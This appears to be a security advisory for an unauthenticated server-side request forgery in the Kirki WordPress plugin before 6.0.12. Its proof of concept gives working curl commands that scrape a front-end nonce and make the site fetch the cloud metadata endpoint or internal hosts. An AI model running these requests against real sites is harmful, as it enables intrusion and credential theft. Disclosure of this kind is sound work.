Kirki < 6.0.12 – Unauthenticated Server-Side Request Forgery via kirki_get_apis | CVE 2026-13147

Description

The plugin does not validate a user-supplied URL before requesting it server-side, allowing unauthenticated attackers to make the site issue HTTP requests to arbitrary hosts (Server-Side Request Forgery).

Proof of Concept

# 1. Scrape the guest wp_rest nonce printed in the window.wp_kirki object on any front-end page (no auth):
NONCE=$(curl -sk "https://victim.example/" | grep -A8 'window.wp_kirki' | grep -oE 'nonce: "[^"]+"' | grep -oE '[a-f0-9]{10}')

# 2. Force the server to fetch an attacker-chosen URL. The fetch uses wp_remote_get (no SSRF
#    protection), so loopback/127.0.0.1, RFC1918, 169.254.x and arbitrary public hosts are all reachable.
#    Blind for arbitrary targets; the response body is reflected back only when the target returns
#    Kirki-block JSON ({"blocks":...,"styles":...,"root":...}).
curl -sk -G "https://victim.example/wp-admin/admin-ajax.php" \
  --data-urlencode "action=kirki_get_apis" \
  --data-urlencode "endpoint=get-pre-built-html" \
  --data-urlencode "elementUrl=http://169.254.169.254/latest/meta-data/" \
  -H "X-WP-Nonce: $NONCE"
# The site issues the outbound request (confirmed via an attacker listener capturing a WordPress/<ver> User-Agent).